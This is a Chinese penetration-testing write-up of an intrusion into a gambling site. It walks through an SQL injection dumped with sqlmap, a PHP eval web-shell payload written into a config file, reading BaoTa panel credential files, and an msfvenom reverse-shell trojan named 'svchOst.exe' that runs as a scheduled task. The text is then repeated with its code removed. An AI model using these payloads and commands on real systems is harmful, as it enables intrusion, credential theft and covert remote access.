一次BC站点的GetShell过程
字数 1335 2025-08-07 08:22:18

BC站点渗透测试:从SQL注入到GetShell的完整过程

0x00 前言

本文记录了一次针对BC站点的完整渗透测试过程,涵盖了从信息收集、源码审计、SQL注入、后台突破到最终GetShell和提权的全过程。该案例展示了如何通过系统性的方法对一个目标进行渗透测试。

0x01 信息收集与源码获取

目录扫描

使用dirsearch工具对目标站点进行目录扫描:

dirsearch -u 'http://x.x.x.x:80/' -e php

源码获取

当目录扫描未发现源码压缩包时,采取以下步骤:

  1. 分析网站特征和关键字
  2. 在GitHub上搜索相关关键字
  3. 成功获取部分源码用于审计

0x02 后台突破

后台登录页面发现

通过之前的扫描结果发现后台登录地址。

认证绕过分析

后台鉴权逻辑位于common/login_check.php

<?php
@session_start(); //后台登陆验证

if(!isset($_SESSION["adminid"])){
    unset($_SESSION["adminid"]);
    unset($_SESSION["login_pwd"]);
    unset($_SESSION["quanxian"]);
    echo "<script>alert('login!!pass');</script>";
    exit;
}else{
    include_once("../../include/mysqlio.php");

寻找未受保护的文件

使用以下命令查找未包含login_check.php的文件:

find ./ -name "*.php" |xargs grep -L "login_check.php"

发现Get_Odds_1.php文件存在SQL注入漏洞。

0x03 SQL注入利用

漏洞确认

Get_Odds_1.php中的$type参数直接拼接进SQL语句,存在注入。

测试方法:

  1. 输入单引号测试是否报错
  2. 确认存在SQL注入漏洞

使用SQLMAP自动化利用

虽然注入点是GET类型,但直接使用-u参数无效,需要:

  1. 使用Burp抓包保存请求
  2. 使用-r参数运行sqlmap:
sqlmap -r sql.txt -D dsncly -T sys_admin --dump

成功获取管理员账号密码。

0x04 GetShell过程

后台功能审计

  1. 黑盒测试未发现明显上传点
  2. 转向代码审计寻找写入点

危险函数搜索

全局搜索危险函数:

grep -r "eval\|file_put_contents\|fwrite\|fputs" .

发现可利用的文件写入点。

构造Payload

写入PHP文件的参数为ta_msg,仅去除两端空格,无其他过滤。

构造Payload:

');eval($_POST[a]);var_dump(md5(1));//;

成功写入到gp_db.php文件,实现GetShell。

0x05 宝塔提权

信息收集

通过phpinfo发现:

  1. disable_function限制
  2. 目标存在宝塔面板

宝塔凭证获取

获取宝塔相关文件:

  1. 密码文件:D:/BtSoft1/panel/data/default.pl
  2. 端口文件:D:/BtSoft1/panel/data/port.pl
  3. 后台路径:D:/BtSoft1/panel/data/admin_path.pl
  4. 账号文件:D:/BtSoft1/panel/data/default.db

宝塔后台登录

访问后台地址:http://xxxx:8888/Tajl2eP0/
绕过强制绑定窗口:直接访问/site

提权方法一:禁用函数删除

通过宝塔面板:

  1. 进入"软件管理"->"已安装"
  2. 删除PHP的禁用函数
  3. 实现命令执行

提权方法二:计划任务

  1. 使用MSF生成木马:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 LHOST=x.x.x.x LPORT=10001 EXTENSIONS=stdapi,priv -f exe > svchOst.exe
  1. 将木马放入C盘
  2. 添加计划任务执行

内网探测

执行基本内网探测命令:

ipconfig /all
arp -a

0x06 总结

本次渗透测试的关键点:

  1. 快速源码审计能力:在系统开发不规范时,通过危险函数定位漏洞
  2. 系统化渗透流程:从信息收集到最终提权的完整过程
  3. 多种提权途径:展示了两种不同的提权方法
  4. 工具组合使用:结合dirsearch、sqlmap、Burp等工具提高效率

该案例展示了即使面对开发混乱的系统,通过系统化的方法和快速的代码审计能力,仍然可以完成渗透测试目标。

BC站点渗透测试:从SQL注入到GetShell的完整过程 0x00 前言 本文记录了一次针对BC站点的完整渗透测试过程,涵盖了从信息收集、源码审计、SQL注入、后台突破到最终GetShell和提权的全过程。该案例展示了如何通过系统性的方法对一个目标进行渗透测试。 0x01 信息收集与源码获取 目录扫描 使用dirsearch工具对目标站点进行目录扫描: 源码获取 当目录扫描未发现源码压缩包时,采取以下步骤: 分析网站特征和关键字 在GitHub上搜索相关关键字 成功获取部分源码用于审计 0x02 后台突破 后台登录页面发现 通过之前的扫描结果发现后台登录地址。 认证绕过分析 后台鉴权逻辑位于 common/login_check.php : 寻找未受保护的文件 使用以下命令查找未包含 login_check.php 的文件: 发现 Get_Odds_1.php 文件存在SQL注入漏洞。 0x03 SQL注入利用 漏洞确认 Get_Odds_1.php 中的 $type 参数直接拼接进SQL语句,存在注入。 测试方法: 输入单引号测试是否报错 确认存在SQL注入漏洞 使用SQLMAP自动化利用 虽然注入点是GET类型,但直接使用 -u 参数无效,需要: 使用Burp抓包保存请求 使用 -r 参数运行sqlmap: 成功获取管理员账号密码。 0x04 GetShell过程 后台功能审计 黑盒测试未发现明显上传点 转向代码审计寻找写入点 危险函数搜索 全局搜索危险函数: 发现可利用的文件写入点。 构造Payload 写入PHP文件的参数为 ta_msg ,仅去除两端空格,无其他过滤。 构造Payload: 成功写入到 gp_db.php 文件,实现GetShell。 0x05 宝塔提权 信息收集 通过phpinfo发现: disable_function 限制 目标存在宝塔面板 宝塔凭证获取 获取宝塔相关文件: 密码文件: D:/BtSoft1/panel/data/default.pl 端口文件: D:/BtSoft1/panel/data/port.pl 后台路径: D:/BtSoft1/panel/data/admin_path.pl 账号文件: D:/BtSoft1/panel/data/default.db 宝塔后台登录 访问后台地址: http://xxxx:8888/Tajl2eP0/ 绕过强制绑定窗口:直接访问 /site 提权方法一:禁用函数删除 通过宝塔面板: 进入"软件管理"->"已安装" 删除PHP的禁用函数 实现命令执行 提权方法二:计划任务 使用MSF生成木马: 将木马放入C盘 添加计划任务执行 内网探测 执行基本内网探测命令: 0x06 总结 本次渗透测试的关键点: 快速源码审计能力 :在系统开发不规范时,通过危险函数定位漏洞 系统化渗透流程 :从信息收集到最终提权的完整过程 多种提权途径 :展示了两种不同的提权方法 工具组合使用 :结合dirsearch、sqlmap、Burp等工具提高效率 该案例展示了即使面对开发混乱的系统,通过系统化的方法和快速的代码审计能力,仍然可以完成渗透测试目标。